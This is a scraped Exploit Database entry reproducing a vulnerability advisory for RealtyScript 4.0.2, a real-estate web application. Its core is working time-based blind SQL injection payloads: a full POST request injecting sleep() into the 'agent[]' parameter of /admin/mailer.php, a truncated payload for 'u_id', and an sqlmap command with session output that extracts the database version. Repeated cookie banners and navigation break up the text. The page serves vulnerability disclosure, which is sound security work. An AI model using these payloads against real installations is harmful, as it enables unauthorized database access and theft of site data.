



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



Cookiebot
by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >

OK

Do not sell or share my personal information

 EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPLOIT MANUAL SUBMISSIONS

RealtyScript 4.0.2 - Multiple Blind SQL Injections

EDB-ID:

38497

CVE:**EDB Verified:** ✗**Author:**[LIQUIDWORM](#)**Type:**[WEBAPPS](#)**Exploit:**   / **Cookiebot**
by Usercentrics**This website uses cookies**

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPOIT MANUAL



SUBMISSIONS

RealtyScript v4.0.2 Multiple Time-based Blind SQL Injection Vulnerabilities

Vendor: Next Click Ventures

Product web page: <http://www.realtyscript.com>

Affected version: 4.0.2

Summary: RealtyScript is award-winning real estate software that makes it effortless for a real estate agent, office, or entrepreneur to be up and running with a real estate web site in minutes. The software is in daily use on thousands of domain names in over 40 countries and has been translated into over 25 languages.

Desc: RealtyScript suffers from multiple SQL Injection vulnerabilities. Input passed via the GET parameter 'u_id' and the POST parameter 'agent[]' is not properly sanitised before being returned to the user or used in SQL queries. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

Tested on: Apache/2.4.6 (CentOS)

PHP/5.4.16

MariaDB-5.5.41



Cookiebot
by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >

```
(select(sleep(66)))a)-- & HTTP/1.1
```

(2)

```
POST /admin/mailer.php HTTP/1.1
```

```
Host: TARGET
```

```
Content-Length: 62
```

```
Cache-Control: max-age=0
```

```
Accept:
```

```
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
```

```
Origin: http://TARGET
```

```
Upgrade-Insecure-Requests: 1
```

```
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
```

```
Content-Type: application/x-www-form-urlencoded
```

```
Referer: http://TARGET/admin/mailer.php
```

```
Accept-Encoding: gzip, deflate
```

```
Accept-Language: en-US,en;q=0.8
```

```
Cookie: PHPSESSID=vaq21340scj2u53a1b96ehvid5;
```

```
agent[]=102 and (select * from (select(sleep(67)))a)--
&subject=test&message=t00t^^&submit_mailer=Send
```



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPOIT MANUAL



SUBMISSIONS

```
===== .sqlmap session output
=====
```

```
$ sqlmap -r request1.txt -p "u_id" --dbms=MySQL --os=Linux --sql-
query="SELECT @@version"
```

```

_ _ _ | | _ _ _ _ _ {1.0-dev-04c1d43}
|_ - | . | | | . ' | . |
|_ _ | | | | | | | | |
      | |           | | http://sqlmap.org
```

```
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior
mutual consent is illegal.
```

```
[*] starting at 14:36:36
```

```
[14:36:36] [INFO] parsing HTTP request from 'request1.txt'
```

```
[14:36:36] [INFO] testing connection to the target URL
```

```
sqlmap identified the following injection points with a total of 0 HTTP(s)
requests:
```

```
---
```

```
Parameter: u_id (GET)
```

```
Type: AND/OR time based blind
```



Cookiebot
by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >

```
5.5.41-MariaDB
```

```
SELECT @@version: '5.5.41-MariaDB'
```

```
[14:38:50] [INFO] fetched data logged to text files under
'/.sqlmap/output/TARGET'
```

```
[*] shutting down at 14:38:50
```

```
===== sqlmap session output.
=====
```

Tags:

Advisory/Source: [Link](#)





EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS

- Databases ▾
- Links ▾
- Sites ▾
- Solutions ▾



EXPLOIT DATABASE BY OFFSEC

TERMS

PRIVACY

ABOUT US

FAQ

COOKIES



[OffSec Services Limited](#) 2026. All rights reserved.



Cookiebot
by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >